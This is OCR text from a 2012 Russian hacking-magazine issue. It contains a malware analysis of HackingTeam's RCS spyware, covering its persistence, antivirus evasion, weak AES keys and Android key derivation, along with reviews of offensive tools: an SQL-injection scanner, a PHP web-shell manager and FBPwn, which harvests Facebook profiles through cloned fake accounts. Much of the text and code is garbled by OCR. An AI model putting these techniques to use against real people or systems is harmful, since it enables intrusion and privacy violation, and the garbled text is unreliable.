Поле Значение G ~действителен по 31 июля 2011г. 1:59:59 .. •• . • . ~откры�ыый КЛЮЧ RSA (1024 Bits) tJ li!основные ограничения Тип субъекта=Конечный су ...

~Точки распространения сп ... [l]ТОЧка распределения спи ...

~ПолитикисертиФИката [l] Политика сертификата:И ...

~Улучшенный ключ Подписывание кода (1.3.6. 1 •.• G ~ Лnrтvn ~ 1 ...... rhnnM-"I IIAlА n Ilj:Io r1 1 лnrтvn It' rRj:Ionj:lol-lUQМ I IP-... T

CN = НТSгl OU = Digital 10 Class 3 • Мicrоsоft Software Validation У2 О =НТSгl L = Milan S = ltaly С = IТ

Реквизиты стороны, ПОАписавwей х64'Арайвер

компании HackingTeam Iwww.hack ingteam.it) можно найти всего лишь несколько презентаций и два видеоролика . Однако этого

вполне достаточно для пони мания того, что возможности RCS просто огромны. Программа позволяет собирать информацию об операционной системе, нажатиях клавиш, автоматически делает

скриншоты экрана, окон и областей, в которых пользователь

кликнул мышкой. Вдобавок программа умеет перехватывать пере­

писку в чатах, а также разговоры в Skype, Google Talk и других 1М. Если у зараженного пользователя подключена веб-камера, троян

может делать с ее помощью фотографии и передавать их на сервер

атакующего. Более того, в RCS имеется специальный модуль, который постоянно сканирует файловую систему зараженного

компьютера, а затем передает на сервер файлы с определенными

расширениями. Существуют версии зловреда для Windows, Мас и ряда мобильных платформ, среди которых следует особо выделить

iPhone и Android. Производитель заверяет, что RCS совершенно не видна в зараженной системе и антивирусы с файерволами ей тоже

CARRIER IQ: ЛЕГАЛЬНЫЙ ТРОЯН В СМАРТФОНАХ

Копаясь в прошивке Апdгоid-смартфонов фирмы НТС, Тревор

Экхарт обнаружил программу, работающую в скрытом режиме

и собирающую информацию о нажатиях клавиш на диалере

или клавиатуре, просмотре рекламных объявлений, получении

СМС, включении и отключении экрана, получении звонков,

местоположении и т. д. Дальнейшие исследования показали,

что эта программа является детищем фирмы Carrier 10, которая активно сотрудничает с производителями как смартфонов, так

и простых мобильных телефонов. Производитель оборудования

получает исходники программы от СЮ, дорабатывает их и

внедряет в прошивку устройства. Кроме того, CIO предоставляет удобный интерфейс для работы с полученными данными.

Элементы кода программы были найдены в прошивках с Sense UI, а также на аппаратах производства Samsung с интерфейсом Touch Wiz. В результате проделанной работы Тревор написал про грамму, которая позволяет проверить телефон на наличие

этого руткита и, если в смартфоне есть права root, попытаться удалить рут кит Iподробнее читай на bit.ly/sdkKcE).

ХАКЕР 02/157/2012

Легальный троян: это как?

pub1ic statio SecretKey DeriveKey(String paramString) thraws NoSuchAlgorithmExcept1on

int i = О: String localObject z "заlе" ;

МеэsаgеDigезt lосаlМеззаgеDigезt;

lосаlНезsаgеD1gезt - НеззаgеDigезt.gеtInstаnсе( "SНА-l" ) ;

пюlе ( i < 128) (

byte [] a rrayOfBytel = 10саlОЬjесt . gеtВуtез{);

lосаlМеззаgеDigезt.uрdаtе(аrrауОfВуtеl) ;

byte [.] arrayOtByte2 = раramString.gеtВуtез (); lосаlНеззаgеD1gезt.uрdаtе( аrrауоtВуtе2 ) ;

byte [] аrrауОfВуtеЗ ~ lосаlНеззаgеDigе~t . digеst() ;

lосаlМеээаgеDigе~t.uрdаtе{аrrауоtВуtеЗ);

i+- 1;

hyte [] arrayOfByte4 - lосаlНеssаgеDigеst.digеэt();

byte [] arrayO~ByceS с nеп byte [16]; int j - a rra yOfByteS . length; Sузtеm.8L'L'dусору(аrrауОtВуtе4, О, arrayOfByteS, О, j) ;

SecretKeySpec эрес = new SecretKeySpec (arrayOfByteS, "AES"); return (Se cretKey) ~pec ;

}

Восстановленная функция выработки ключа Апdгоid-версии малвари

не помеха. И зто действительно так: при работе на зараженной

машине троян не вызывает подозрений у «Антивируса Касперско­

го» со стандартными настройками, файервол Zопе Alarm спокойно пропускаеттрафик, а RootkitRevealer Руссиновича не показывает ничего подозрительного. Один лишь Wireshark, установленный на компьютере-маршрутизаторе, фиксирует некоторое количество

НТТР-РОSТ-запросов к одному из серверов винтернете.

ОБНАРУЖЕНИЕ Как оказалось, обнаружить троян довольно легко, достаточно

лишь загрузиться с загрузочной флешки и прошерстить винчестер

зараженного компьютера. RCS создает директорию либо в корне диска С, либо в %АРРОАТА%, а также генерирует ключ реестра со

случайным именем в разделе Ruп, причем при работе зараженной

системы директория и ключ не видны для файл-менеджеров и ре­

дакторов реестра. Чуть позже я расскажу, почему, а пока останов­

люсь на компонентах трояна.

Модная нынче тенденция реализовывать малварь не в виде ехе, а в виде библиотеки dll не обошла стороной и разработчиков RCS. Вообще, версия зтого трояна для Windows включает в себя следую­щие компоненты Iимена модулей могут отличаться в зависимости от версии/хозяина): 1. Основной модуль 7КОmРРРS.ТRК 10LL, х86). 2. Файл конфигурации a5jt555f.Qu6. Э. Кодекдля кодирования речи CrThBBBT.7ar 10LL, х86). 4. Дополнительный х64-модуль tms5ggg8.T4t 10LL, х64). 5. Драйвер х64 OCfkvvvw.HiO ISYS, х64). 6. Драйвер х86 УОхоhhhп.рУS ISYS, х86).

Любой здравомыслящий человек сразу задаст вопрос о скрытой

установке х64-драйвера в систему. Здесь нет ничего необычного,

разработчики пошли по пути наименьшего сопротивления и просто

подписали его своей электронной подписью. К слову сказать, зто

их и палит Iсмотри первую иллюстрацию), так как Гугл моменталь­но наводит нас на сайт производителя трояна.

ГДЕ СОБАКА ЗАРЫТА? Сразу скажу, что я коснусь в основном только х86-версии RCS. Как уже отмечалось ранее, основной модуль представляет собой

динамическую библиотеку для архитектуры х86 . 011 экспортирует восемь функций с ничем не примечательными именами : HFF1, HFF2, ... , HFF8. Значение ключа реестра в разделе Ruп, запускаю­щее троян, имеет следующий -вид:

ruпdllЗ2 .. ехе "с: \ trSMKKK8\7KOmPPPs. TRK" J НН8

065

Page 68: Xakep 02_2012

взлом

- и намекает на то, что в первую очередь необходимо изучить

восьмую функцию HFF8. Вообще , закидывая dll в IOA, я думал, что нарвусь на какой-нибудь пакер или навороченную защиту, но и с

этим разработчики не стали заморачиваться - антиотладочных

средст в я не обнаружил, программа имела только защиту против

статического анализа кода, которая скорее направлена против

антивирусов, нежели реверсера. Поэтому разбирать по косточкам

эту малварь было легко, удобно и интересно .

ЗАПУСК

Работу функции HFF8 можно логически разделить на несколько блоков. Первы й - проверка основных модулей трояна: сначала

он проверяет, является ли гuпdllЗ2.ехе текущим процессом, далее

перебирает все dll, подгруженные в адресное пространство, затем пытается получить в каждом из них адрес функции HFF1 и срав­нивает полученный адрес с уже имеющимся значением . Далее при

помощи функции GetModuleFileNameExW троян получает имя своей главной dlllc путем!, преобразует его в ASCII и оставляет только имя файла. Путь к файлу и имя файла сохраняются в двух разных

буферах в shагеd-сегменте, где выделена память для данных,

доступ к которым нужен другим процессам, в чье адресное про­

странство также подгружена dll с трояном. Затем каждый символ получен ного имени заменяется на другой в соответствии с не­

которой таблицей , а новое имя файла [если все предыдущие шаги завершились успешно! копируется в shагеd-сегмент как имя файла

с настройками. Каждый символ имени файла с настройками также

кодируется при помощи некой таблицы для преобразования в имя

еще одной части трояна. Таким образом и создаются все необходи­

мые имена файлов, которые записываются в shагеd-сегмент дина­

мической библиотеки. После имен файлов в разделяемый сегмент

копируютс я имена объектов FileMapping . Всего таких объектов три, и их названия имеют префиксы KMS1, KMS2, КМSЗ. После каждого префикса идет еще восемь hex-значениЙ . Троян считает провер-

ку ус пешной, если найден основной модуль. Наличие остальных

модулей на данном этапе не проверяется.

R2D2

Осенью крупнейший европейский хакерский клуб Chaos Computer Club [ССС! опубликовал отчет о «полицейском трое», который, как потом признали власти, действительно применялся

силовыми ведомствами для сбора пользовательских данных.

Из-за того что в основном модуле трояна имеется строка СЗРО­

r2d2-POE, ему присвоили имя R2D2. Малварь состоит из DLL с именем mfc42ul.dll и драйвера winsys32.sys для архитектуры х86. При заражении DLL прописывается в ветку реестра SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Windows\Applnit_DLLs и, следовательно, подгружается в адресное пространство каждого

GUI-приложения . Малварь скрыто делает скриншоты экрана,

перехватывает нажатия клавиш клавиатуры, записывает звонки,

совершаемые при помощи Skype, и передает всю эту информацию на удаленный сервер. Отмечу, что здесь механизм перехвата

звонков такой же, как и в RCS. Самый главный фейл, который допустили разработчики, - это использование во всех версиях

мал вари фиксированных ключей шифрования и алгоритма

AES в режиме ЕСВ при полном отсутствии аутентификации, что позволяет практически любому пользователю интернета

управлять зараженной машиной.

Исследователи из ССС зареверсили протокол взаимодействия

немецкой малвари с командным сервером и разработали

альтернативную программу управления. Члены клуба ССС также

обнаружили еще одну версию трояна, о чем сообщает одна из

последних заметок на их официальной странице www.ccc.de.

066

Малварь в диспетчере приложений Android

Второй блок - активация системы маскировки трояна. На этом

этапе инициализации троян сначала пытается открыть устройство

MSH40EV1, которое создается х86-драйвером [номер 6 в списке файлов! . Если все проходит успешно, то handle устройства сохра­няется. Далее выполняется поиск антивирусного ПО, установлен­

ного на зараженной машине. Для поиска троян всегда использует

один алгоритм: перебирает загруженные в систему драйвера и

ищет нужный по определенному имени. Список распознаваемых

антивирусов довольно внушителен: Avira, Avast, Еуее, ProcGuard, McAfee, Kerio, Comodo, Panda, TrendMicгo, Ashampoo, Kaspersky, AVG, BitDefender и еще пара-тройка экзотических для наших широт продуктов. Учитывая особенности каждого антивируса, троян пы­

тается установить в систему драйвер YOxohhhn .pYS [если он до сих пор не установлен!, который копируется в системную директорию

Windows и переименовывается в ndisk.sys. Установка выполняется при помощи функций АОVАРIЗ2 типа CreateService, StartService и т. д. Затем троян пытается открыть устройство MSH40EV1 и найти загруженный драйвер ndisk.sys. Отмечу, что драйвер устанавли­вается только в том случае, если на компьютере имеется любая

антивирусная программа.

Третий блок - подготовка к шифрованию данных. Для шифро­

вания данных используется алгоритм AES в режиме СВС с длиной блока и ключа по 128 бит. Вектор инициализации всегда нулевой, а сами ключи хранятся в открытом виде в сегменте данны х. На этом

этапе для каждого ключа выполняется процедура KeyExpansion, в ходе которой генерируются раундовые ключи. Результаты ее рабо­

ты для каждого ключа помещаются в shагеd-сегмент. Такой подход

значительно сокращает время , затрачиваемое на шифрование,

ХАКЕР 02/157/2012

Page 69: Xakep 02_2012

так как он устраняет необходимость каждый раз разворачивать

128-битный ключ в набор раундовых ключей.

В четвертом блоке инициализируются агенты-процедуры

сбора пользовательских данных. В процессе инициализации

заполняется массив пар ключ-значение, где ключом является

идентификатор агента, а значением - структура с указателями на

функции первоначальной инициализации, функцию, код которой

будет выполняться в другом процессе , и процедуру обработки по­лученных пользовательских данных. При этом для каждого агента

также вызывается функция первоначальной инициализации. В

ходе инициализации агентов дешифруется файл с настройками и

инициализируются только те сборщики данных, которые указаны

в конфиге .

В пятом блоке запускаются удаленные потоки, собирающие

пользовательские данные . В запуске принимают участие другие

зкспортируемые функции: HFF1, HFF2, HFF3. После создаются локальные потоки, которые получают собранные пользователь­

ские данные и обрабатывают их . На зтом процедура начальной

инициализации завершается, и указанный инициализационный

поток погружается в бесконечный цикл [while[true){ Sleep[1000);}). В ходе инициализации троян также проверяет, не заражена

ли уже система. Алгоритм проверки на заражение достаточно

прост: троян ищет объекты FilеМаррiпg с определенными именами

[KMS1 ... , KMS2 ... , KMS3 ... ), и если находит, то система считается зараженной и процесс инициализации прекращается .

Следует сказать несколько слов и о вызове системных функций.

АNDRОID-ВЕРСИЯ RCS

Апdгоid-версия описываемого трояна представляет собой

обыкновенный арk-файл, который при установке запрашивает

максимальное количество разрешений, что вполне может

насторожить даже самых неопытных пользователей. Мне не

удалось полностью декомпилировать apk в Jаvа-сценарий при помощи ApkManager, так как код трояна слегка обфусцирован. Однако большая его часть вполне успешно восстанавливается,

правда, без имен классов, переменных и т. д . ApkManager оставляет в виде опкодов невосстановленные участки кода

и оборачивает их в комментарии, что позволяет почерпнуть

дополнительную информацию о трояне. При разархивировании

арk-файла сразу бросается в глаза, что в этой версии используется

паtivе-библиотека [50), а также имеется зашифрованный файл с ресурсами. Оказывается, этот файл также шифруется по алгоритму

AES в режиме еве. При этом последний блок дополняется по схеме PKeS#5 и, как и прежде, используется нулевой вектор инициализации. В данном случае ключ хранится не в открытом

виде, а вырабатывается из фиксированной строки при помощи

многократного вычисления хеш-функции. В расшифрованном

файле с ресурсами находится множество строковых пар ключ­

значение, позволяющих получить информацию об используемых

криптографических алгоритмах.

Дальнейший анализ показал, что при запуске троян пытается

проэксплуатировать какую-нибудь уязвимость в Android и получить права гоо! [на моем кастомном билде ему это сделать не удалось). ReS также собирает пользовательские данные [SMS, MMS, контакты) и информацию о сети сотовой связи, периодически включает микрофон телефона и записывает разговоры вокруг

и передает всё это добро на удаленный сервер. В диспетчере

приложений малварь пытается замаскироваться под com.android. 5ervice, а при работе ест много памяти и сильно расходует батарею. Вообще, здесь следует отдать должное производителям Dr.Web Light - антивируса для Android, так как он спокойно палит этот троян и выдает пользователю соответствующее предупреждение.

ХАКЕР 02 /1 57/2012

Легальный троян: это как?

Все функции WinAPI вызываются по адресам, которые выдает GetProcAddre55. Имена всех вызываемых функций зашифрованы шифром простой замены. Эти имена хранятся в сегменте данных и

расшифровываются каждый раз непосредственно перед исполь­

зованием.

Версия трояна для 64-битных систем в принципе ничем не

отличается от версии под х86. В ней используется тот же самый

основной модуль, однако после запуска троян проверяет, не явля­

ется ли система 64-битной, и если является, то в игру вступают dll и драйвер, Rаписанные специально под х64.

РАБОТА АГЕНТА

В большинстве случаев код, внедренный в удаленный процесс, де­

лает одно и то же: подгружает в адресное пространство своего про­

цесса dll основного модуля. После этого открываются FilеМаррiпg ' и [функция HFF4), а на определенные функции устанавливаются хуки [функция HFF3). По завершении этих процедур dll выгружается из адресного пространства процесса, а поток впадает в бесконечный

цикл [засыпает на одну секунду, просыпается и засыпает вновь). При установке хуков проверяется имя текущего процесса. Если

оно не попадает в определенный список, то устанавливаются толь­

ко те хуки, которые направлены на маскировку трояна в системе.

Вообще, этот зловред распознает следующие процессы:

pct5*.exe k7*.exe avk.exe admin.exe bgscan.exe аур.ехе

pavark. ехе .. rku*.exe s.vv. ехе IceSword.exe gmer.exe avg5canx.exe RootkitRevealer.exe avscan.exe ,!vgarkt.exe sargui. ехе uncrackme. е.хе

hiddenfinder.exe hackmon.exe Ta5kMan.exe outlook.exe 5kypepm.exe 5kype. ехе <;:hrome.exe firefox.exe

Распознавание процессов осуществляется только по именам,

поэтому, переименовав RootkitRevealer.exe в ololo.exe, мы сможем легко обнаружить троян . :-) -ДЛЯ ПОИСКА АНТИВИРУСОВ ТРОЯН ВСЕГДА ИСПОЛЬЗУЕТ

ОДИН АЛГОРИТМ: ПЕРЕБИРАЕТ

ЗАГРУЖЕННЫЕ В СИСТЕМУ

ДРАЙВЕРА И ИЩЕТ НУЖНЫЙ ПО ОПРЕДЕЛЕННОМУ ИМЕНИ

067

Page 70: Xakep 02_2012

взлом

Monilor а hundred thousand

Remote Control System сап monitor from а few and up to hundreds of thousands oftargets.The whole system сап Ье managed Ьу а single easy to use interfaсе that simplifies day Ьу day investigation activities.

-~ - - - .. ~_. . - ~ - ----1 ',",1т 'RCS Cl)rl:10~) - ••

Рекламная брошюра RCS

Процессы взаимодействуют друг с другом посредством от­

крытых фаЙл - маппингов. На адресное пространство процесса

маппится не какой-то определенный файл, а участок свопа.

Маппинг с префиксом имени KMSl имеет маленький размер 'по­рядка 20 Кб) и служит для управления агентами . Каждый агент периодически заглядывает в DWORD по адресу «начало_маппин­га » + «идентификатор_агента » И считывает оттуда определенную

команду основного модуля. Второй маппинг служит для передачи

основному модулю собранных данных и имеет размер порядка 300 Кб. Данные в виде картинки переводятся в формат JPEG, голосо­вые данные кодируются кодеком speex ICrThBBBT.7ar). Обработан­ная информация шифруется с помощью алгоритма AES в режиме СВС Ic нулевым вектором инициализации), сохраняется в текущей директории и удаляется после передачи на сервер. Имена сохра­

няемых в директории файлов представляют собой зашифрован­

ную простой заменой строку вида LOG_XXXX_YYYYYYYYY.log, где ХХХХ - идентификатор агента, а У ... У - случайные числа. Данные

передаются по протоколу НТТР в теле РОSТ-запроса. Какая-либо

а утентификация как на сервере, так и на клиенте отсутствует,

позтому, зареверсив зтот простенький алгоритм передачи, можно

здорово заспамить удаленный сервер и попытаться угнать его

клиенты. :-)

~ Dr.Web - Сканер

Проверка завершена. Обнаружено угроз: 1 Выберите действие ДЛЯ каждой угрозы.

Android.SmsSend. origin.21

Отчет Dr.Web Llght об обнаруженных вирусах

068

Отдельный агент, постоянно сканирующий файловую систему

компьютера, подготавливает для передачи файлы t определен­ными расширениями. Следует упомянуть и еще об одном потоке,

который постоянно сканирует список текущи х процессав, чтобы

заражать новые процессы. Троян запускает новые процессы на

компьютере от имени explorer.exe за счет инжекции кода в Экспло­рер . Зловред использует крайне забавный способ для мониторинга

активности Firefox: загружает из интернета библиотеки mozcrt19. dll, softokn3.dll и mozsqlite3.dll, которые просто посылают запросы к SQLite-базам браузера . Подобным образом троян работает и с

некоторыми другими программами.

РЕАКЦИЯ АНТИВИРУСА В качестве эксперимента я установил «Антивирус Касперского»

и настроил его на максимальное информирование. При загрузке

системы АВ выдает сообщение о запуске dll как приложения и попытке получения доступа к защищенному хранилищу паролей.

В этом сообщении, прямо скажем, нет ничего информативного, что

раскрывало бы суть вирусной активности на компьютере lесли бы я был обыкновенным пользователем , то, наверное, вообще никак на

него не прореагировал). При этом журнал антивируса начинает пе­стреть сообщениями о разрешенном внедрении кода в сторонний процесс, о разрешенном доступе к хранилищу паролей и так далее.

В общем, никакой пользы для конечного пользователя нет. Един­

ственный положительный момент состоит в том, что « Касперский »

видит папку с троянам, однако она не вызывает у него никаких

подозрений, то есть заметить ее довольно сложно.

SUMMARY Вообще, видео на сайте производителя испугало меня больше, чем

сам троян . Его несложно обнаружить и нейтрализовать, к тому же

после знакомства с современными средствами создания ботне­

тов от расковырянной коммерческой малвари остаются весьма

противоречивые впечатления. Версия для Android вообще не выдерживает критики - она может испортить жизнь только тем

пользователям , которые вообще не следят за своим смартфоном,

устанавливают приложения из неизвестных источников и безраз­

лично относятся к количеству подтверждений, запрашиваемых

приложениями. На примере этого трояна хорошо видно, что техно­

логии коммерсантов отстают от технологий их криминальных кол­

лег - создателей Zeus, TDSS, SpyEye и других подобных вещей. :Х:

ХАКЕР 02 / 157/ 2012

Page 71: Xakep 02_2012

ПРЕДЛОЖЕНИЕ МЕСЯЦА ДЛЯ ДЕРЖАТЕЛЕЙ

«МУЖСКОЙ КАРТЬ ~

15 парфюмов .

«1 million» ОТ РАса RABANN Е

подробности на сайте www.mancard.ru

м..J\.~J.м А Альфа.Банк {gameJland - . ОДА <Альфа-Банк». Генеральная лицензия банка России на осуществление банковских операций от 29.01.1998 N2IЗ2б"

Page 72: Xakep 02_2012

взлом Marlicq 884888, http://snipper.rul

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

Автор: Michael Hendrickx URL: michaelhendrickx. com/ lilith Система: · nix/win

LiLith - это перловый сканер и инжектор

НТТР-форм. Тулза анализирует веб-страницу

на наличие тегов <form>, а затем тестит их на SQL-инъекции. LiLith работает почти так же, как обыкновенный поисковый паук,

только снебольшим хакерским уклоном: она

инжектирует в формы различные спецсим­

волы с определенными значениями, а затем

анализирует ответы веб-сервера. Основные

особенности и функционал утилиты:

малое количество ложных срабатываний;

поддержка СоldFusiоп;

возможность передачи скриптам дополни­

тельной инфы: кукисы, юзер-агент и т.д.;

рекурсивный сканер файлов и директорий.

в простейшем случае сканер запускается так:

.IH}i.t.h .•. pJ ... www.:t.i.! r:'E~.t .• ~QI)! ...

При этом есть ряд полезных параметров:

d -директория или файл для начала скана; и-данные для basic аuthепtiсаtiоп; р-прокси;

• Т - интервал между запросами;

• f - запись расширенного лога в файл; г-рекурсивный краулинг;

• А- вывод на экран всех НТТР-кодов.

Остальные параметры,атакже подробный хелп

на английском языке ты найдешь на официаль­

ном сайте ска нера.

070

Автор:

Аноним URL: bit.ly/sw lI4w Система : · nix/wi n

Если ты хочешь удобно работать с множе­

ством шеллов, то вряд ли найдешь средство

лучше Shellfy. Основная идея этой системы, написанной на Perl, заключается в центра­лизации всего и вся . Shellfy состоит из двух частей: клиента и сервера. Клиентская часть

представляет из себя обычный РНР-шелл,

который необходимо сохранить на удаленном

сервере (точнее , много шеллов, которые нужно сохранить на разных серверах), а серверная часть - это, собственно, сам Регl 'овый скрипт

управления шеллами. В основном окне про­

граммы содержится шесть вкладок, названия

которых говорят сами за себя:

• «Шеллы » (Shells); • «Домены » (Dоmаiпs); • «Статистика » (Stаt~; • «Обновление » (Update); • «Настройки » (Sеttiпgs); • « Прокси» (Ргоху).

Также имеется дополнительный раздел под

названием «Терминал » , который отвечает

за общение с шеллами на удалённых серверах .

Начать работу со скриптом очень просто: залей

все содержимое архива в директорию сgi-Ып

и запусти скрипт setup.pl. Он проведет все необходимые манипуляции автоматически.

Подробнейший мануал по работе с Shellfy и ее настройке можно найти в папке с программой.

-- -_ ')"U8I, 8 ~~ ._-............. __ .... _-,...-_ ... _ ... -- ~ и =- ':;::.::::::..~._-_ ... -­'--­,--­,--­,-

_ .. _-_ ... - .. -:::=...~=:-=--. .. '""" ----_ ....... _-_ .. ___ ._! -.. _-- ... _ .. - .... =.;.~_ ...... -

Автор: David Rook URL: agnitiotool.source­forge.net Система: Windows

ИБ-сообществу известно великое множество

программ для статического анализа исход­

ников на критические ошибки . Тулза Аgпitiо

выгодно выделяется среди них открытостью

сорцов И универсальностью. Шутка ли, анали­

затор поддерживает большинство популярных

языков программирова н ия : ASP, АSР. пеt, С#,

Java, JavaScript, Perl, Php, Руthоп , Ruby, VВ.пеt, а также XML.

Перечислю лишь некоторые особенности

и функциональные возможности этой замеча­

тельной программы:

возможн ость командн ой работы;

• удобнейшие профили для ручного анализа

кода;

• удобный профиль исследуемого приложе­

ния для анализа его исходников;

подробныеотчеты,отсортированные

по име н и исследователя, имени приложения

и многим дру гим параметрам;

списокделдля будущего анализа кода;

• автоматический статический анализ кода;

встроенный список наводящих вопросов,

предназначенных для помощи в анализе

кода (так называемый чек-лист).

Огромным плюсом проекта также являются

его частые обновления. Как видишь, Аgпitiо

вП'Олне может пригодиться любому профес­

сиональному пентестеру (или целой команде профессионалов) в его каждодневной работе.

ХАКЕР 02 / 157/ 2012

Page 73: Xakep 02_2012

"*-,-

".,. I..DII _

g _......-UI

0......0. .. _

• __ "". INИoL 1t"1." _ ~ о. 1V __ 1QI11t~~

,-, , ... ,

lU01...u. 1t:t"'_ JalIIIJ~ _ .... 1UOI1I7.rR1tL1tI'11II~ ..... .ALI'IIII

IHil!I:I~

Автор : Erik Hjelmvik URL: bit.ly/egH2pr Система: Windows

Замечательная утилита Netwo rkMiner явля­ется одним из луч ших на сегодняшний день

инструментов для анализа п е рехваче нны х

данны х, которые сохранены в формате РСАР.

Утилита пассивно анализирует дамп с трафи­

ком , безошибочн о определяет участников об­

мена сете выми данными и распознает опера­

ционные системы, установл е нны е на каждом

хосте, по размеру окна, времени жизни пакета

и уни кальному набору флагов. NetworkMiner та кже выдает структурированную информацию

об открытых сессиях, активных п о рта х и про­

чей инфраструктуре сети, снимает баннеры

различных демонов .

Одной из самых важных фич программы

является возможность извлекать файлы и сер­

тификаты, передаваемые по сети. Эта функция

может быть использована для перехвата и со­

х ранения всевозможны х аудио- и виде офай­

лов. Поддерживаются протоколы ПР, НТТР

и 5МВ . ДЛЯ ни х доступно также извлечение пользовательских данных (логинов и паролей].

Программу можно использовать и для сниф­

фин га и парсинга трафика WLAN (IЕЕЕ 802.11]. К слову, « в сего » за 500 евро разраб отчик предлагает и платную версию своего творе­

ния, с ног до головы увешанную всяческими

до полнительными плюшками . Но в большин­

стве случаев нам вполне х ватит и б ес платной

версии NetworkMiner.

ХАКЕР 02 /157/2012

X-Tools

Автор: Согеу Goldberg URL: www.webinject.org Система:

ПЕНТЕСТ НПР-ИНТЕРФЕЙСОВ

· nix /win

WebInject - зто бесплатная утилита,

предназначенная для автоматиче­

ского тестирования веб-приложений

и веб-сервисов . Она подходит

тестов вы ступает язык XML, то с на­стройкой сможет справиться любой

программи ст. В ХМL-формате гене­

рируются также и отчеты по пенте­

стам, а значит, их можно успешно

использовать в любой совместимой

вн е шней программе .

как для тестирования отдельных

системны х компонентов с НТТР­

интерфейсом (J5P, А5Р, CGI, РНР, AJAX, 5ervlets, HTML·Forms, XML! 50АР Web 5ervices, RE5T и т. д .],

Несом ненным плюсом проги

является тот факт, что она напи са на

на Perl и может работать практи· чески на любой платформе . Однако

на сегодняшний день зкзешник

WebInject до ступен пока только

так и для создания целого набора

тестов, с помощью которых можно

соби рать статистику и мониторить

работу системы почти в реальном

времени (к примеру, отслеживать время отклика в еб- приложе ниЙ]. Так как в качестве API для создания

для Windows. Для запуска утилиты в другой ОС тебе понадобится рабо­

чий интерпретатор Perl.

Автор:

Edge·Security URL: bit.ly/QA9vl Система : ·nix/win

Е сли тебя заинтересо вал какой-либо сайт,

то первым делом ты наверняка попытаешься

раздобыть ма кс им ум информации о нем . К зтой информации относятся с вя за нные e-mail­адреса, имена субдоменов и т.д . Конечно,

различные хакерские комбайны вроде Acunetix WV5 включают в себя соответствующие моду­ли , но применять их для зтой цели - вс е равно

что стрелять из пушки по воробьям . В общем,

советую тебе использ о вать замечательн ую

утилиту theHarvester, продемонстрированную на последн ей конференции BlackHat. Этот питоновский скрипт собирает всю вышепе­

речисленную информацию из всех доступны х

публичных источн ико в , например поиско виков

и серверов с ключами PGP. Фу нкциональные

возможности и особенности утилиты:

генерация отчетов BXML и HTML; верификациянайденныхвиртуальных

хостов и субдоменов;

DN5 reverse looku p; поиск информации о пользователя х и хоста х

в Google, Bing, Linkedin и Exa lead.

Пример команды для поиска всех e-mаil'ов,

связанных с доменом microsoft .com в первы х

пятистах результатах из выдачи Гу гла:

J t;h.ebilt:'vest.E;:[', ру -d .. !!I;i,!;rо.~Q.ft. ,.с9m ... \ . :1 ... !5е.е . -.R. gQQg~e ....

I ~ НIPWn - Вet .. - 0.1.6 ,... #btU. lNpn>IOd.

Автор: Ahmed Saafan

~1WIt ' -vot"",,"lIII. МIIOUt ~.....-. ...... Nzr;:J,..,....J-w-... cm. . pcНo ~~ ...... N:tp:J""",J"""" •. DInp_""posU

;;=:::::=::::~=::==o

URL: code.google.com/p/ fbpwn Система: ·nix/win . 1ПIIIony~ ...... tttp:/Ir-.lкtboG. .. DInp .... ,ph:to ...

.-.thorIy • ..".."..,. ...... I(tp:',"-'.IК'ЬОО ... Dutrp ".-.d .. ~~ ...... Н1р:/,..,.....,.....". .. OI8dr.fnltdr8Ql.lИt 1ПIIIony.-cl'mr ...... http:I,.,.....Juboo..·.~ ....... fnInd:I

ПОИМЕЙ FACEBOOIO

Многие люди выкладывают в социальных сетях

подробнейшую информацию о себе. И соверша­

ют огромнейшую ошибку! Пра ктически любо й

человек при должном старании может узнать

о таких ребятах почти все! В качестве примера

одного из средств для раскрытия персональ­

ны х данных приведу тулзу FBPwn - открытое

кросс-платформенное Jаvа-приложение, пред­

назначенное для дампа профилей пользовате­

лей Facebook. Прога отсылает списку заданных пользователей за просы на добавление в друзья

и ждет уведомлений о подтверждении . Как

только жертва одобряет запрос, приложение

сохраняет все фотографии, список друзей

и прочую информацию из профиля жертвы.

Типичный сценарий работы FBPwn выглядит следующим образом:

1, Со страницы жертвы собирается вся доступ ­

ная информация.

2. Затем запускается fгiепdiпg-плагин, добав­ляющий вдрузья всехдрузей жертвы .

З. Далее вдело вступаетсlоппiпg-плагин,

клонирующий имя и фото одного из друзей

жертвы.

4. Отсылается упомянуты й выше запрос на до­

бавлениевсписокдрузеЙ .

5. После подтверждения запроса парсятся все

доступные страницы.

Через нескол ько минут жертва, возможно, уда­

лит твой фейковый аккаунт из друзей , но будет

уже поздно :].

071

Page 74: Xakep 02_2012

СЦЕНА

ЗАПОЗДАЛЫЙ ОТЧЕТ С ХАКЕРСКОЙ КОНФЕРЕНЦИИ

В САНКТ-ПЕТЕРБУРГЕ Двадцать восемь технических докладов, десять часов хакерской ат­

мосферы и non-stop общения, 11 технических конкурсов, приз $10 000 от Яндекса за найденные уязвимости, Оdау-шоу с демонстрацией еще

нигде не опубликованных сплоитов - это лишь малая часть того, что

происходило в ноябре на хакерской конференции ZeroNights 2011.

Черт, кто придумал проводить конференцию

в конце ноября вПитере? :1 Это худшее время для поездки в северную столицу. Но когда

речь идет о новой хакерской конференции,

проводящейся впервые, то тут уже не до раз­

думий. В общем, в Питер мы выдвинулись

доброй половиной редакции. На площадке мы

первым делом увидели сотни молодых людей

с ноутбуками, расхватывающих свои бейджики

и внимательно изучающих программу двух тре­

ков, на которых вот-вот должны были начаться

доклады. Вот и куча знакомых лиц - наших

авторов и просто друзей, которые работают

в самых разных компаниях и занимаются ин­

формационной безопасностью . Тут сразу стало

ясно, что зто тебе не очередная скучная конфа,

которые сотнями проходят каждый год, - это

настоящая хакерская тусовка. Можно сказать,

клуб друзей, в котором тебя ждут доклады,

конкурсы и куча общения.

072

Дима Частухи н рассказываn про взnом интернет-киосков и

платежных терминалов

J' . J. Никакие слайды, никакое видео и даже отчеты

участников не смогут передадать ту атмосфе­

ру, которая царит во время выступлений на ха­

керских конфах. Тут надо быть! Где еще тебе

покажут реальные уязвимости в банковских

системах, повеселят livе-видео со взломом

различных платежных терминалов и киосков,

докажут, что данные для промышленных

контроллеров в SСАDА-системах можно очень

просто проспуфить, расскажут изнутри, что

сейчас происходит в мире киберпреступников

в Аэии? Иной раз думаешь: «Откуда же взялся

этот монстр, который вот это все расковырял

и сейчас рассказывает?», а потом подходишь

к нему и понимаешь - человек, не киборг,

просто очень умный :1. На конференции мы несколько раз ловили себя на мысли, что

одного дня для такого ивента мало. Программа

настолько плотная и насыщенная, что иногда

не знаешь, на какой из параллельных треков

